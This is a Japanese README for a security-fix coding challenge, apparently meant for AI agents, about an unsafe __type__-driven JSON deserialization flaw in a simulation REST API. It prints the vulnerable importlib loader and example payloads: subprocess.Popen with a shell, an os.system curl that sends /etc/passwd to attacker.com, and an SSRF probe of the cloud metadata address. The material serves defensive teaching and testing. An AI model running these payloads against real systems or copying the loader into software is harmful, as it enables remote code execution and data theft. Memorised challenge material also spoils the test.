実際の 2026 年の脆弱性(CVSS 10.0、活発に悪用)に触発
元ネタ: CVE-2026-25632 — EPyT-Flow 水ネットワークシミュレーション REST API で発見され、2026 年初頭に公開された、安全でない__type__駆動の JSON デシリアライゼーションを介したリモートコード実行。
NovaSim は、科学実験のリモート制御のために REST API を公開する Python ベースのシミュレーションフレームワークです。異種クライアント環境間での柔軟なオブジェクトシリアライゼーションをサポートするため、開発者は特別な __type__ フィールドを検出し、importlib を使用して参照された Python クラスを 動的にインポートおよびインスタンス化 するカスタム JSON ローダーを追加しました。
このパターンは、2026 年に主要なオープンソースプロジェクトで重大なリモートコード実行脆弱性として開示されました。セキュリティ研究者は、JSON ボディを制御する攻撃者が、Python 標準ライブラリ内の任意の呼び出し可能オブジェクト(subprocess.Popen、os.system、eval、および 25 以上の SSRF ガジェットを含む)をターゲットにした ガジェットチェーン を構築でき、認証不要 で単一の HTTP リクエストによりサーバー全体を完全に侵害できることを特定しました。
src/solution.py の 脆弱なバージョン が与えられており、正確に安全でないデシリアライゼーションパターンが含まれています。
目標: DeserializationService.load_from_json() の脆弱性を以下のように修正してください:
SecurityError が発生する。__type__ フィールドが任意のモジュールインポートやクラスインスタンス化を可能にしない。__type__ を含まない JSON)は通常通りロードされる。# 危険 — CVE-2026-25632 パターン
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # 攻撃者制御!
cls = getattr(module, class_name) # 攻撃者制御!
return cls(**data.get("args", {})) # 任意コード実行!
攻撃者は細工された JSON ボディを含む POST リクエストを送信します:
ベクトル 1 — subprocess による直接 RCE:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
ベクトル 2 — os.system による RCE:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
ベクトル 3 — urllib.request.urlopen による SSRF:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
セキュリティ研究者は、Python 標準ライブラリだけでもこの方法で到達可能な 12 個の直接 RCE ガジェット と 25 個の SSRF ガジェット を文書化しました。
以下の、かつ以下のみ のシミュレーションオブジェクトタイプが __type__ を介してデシリアライズ可能です:
__type__ 値 | Python クラス |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
それ以外の __type__ 値は、インポートやインスタンス化が行われる前に 直ちに SecurityError を発生させなければなりません。
DeserializationService.load_from_json(raw: str) -> dict | SimObject に送信される JSON オブジェクト
__type__ キーがない場合: dict(パースされた JSON)を返す。__type__ がある場合: 対応するシミュレーションオブジェクトインスタンスを返す。__type__ がある場合: メッセージ "Blocked unsafe type: <type_value>" で SecurityError を発生させる。"Invalid JSON payload" で ValueError を発生させる。| シナリオ | 期待される動作 |
|---|---|
__type__ がない | プレーンな dict としてパースして返す |
__type__ = "simulation.Sensor" | Sensor(**args) をインスタンス化 |
__type__ = "subprocess.Popen" | SecurityError を発生させる |
__type__ = "os.system" | SecurityError を発生させる |
__type__ = "__builtins__.eval" | SecurityError を発生させる |
__type__ = ""(空文字列) | SecurityError を発生させる |
__type__ がリストまたは整数 | SecurityError を発生させる(無効な型フィールド) |
| 不正な JSON 文字列 | ValueError を発生させる |
| 有効なオブジェクトに未知の追加フィールド | 許容され、kwargs としてコンストラクタに渡される |
challenge-cve-2026-25632/
├── README.md <- ここにいる
├── Dockerfile <- 決定論的ビルド環境
├── src/
│ ├── solution.py <- バグのあるスターターコード(あなたのターゲット)
│ ├── solution_fixed.py <- リファレンスソリューション(エージェントから隠蔽)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- 許可リストに登録されたシミュレーションモデルクラス
└── tests/
└── test_solution.py <- テストハーネス(バグありで失敗、修正版で成功)
修正は以下の すべて に合格しなければなりません: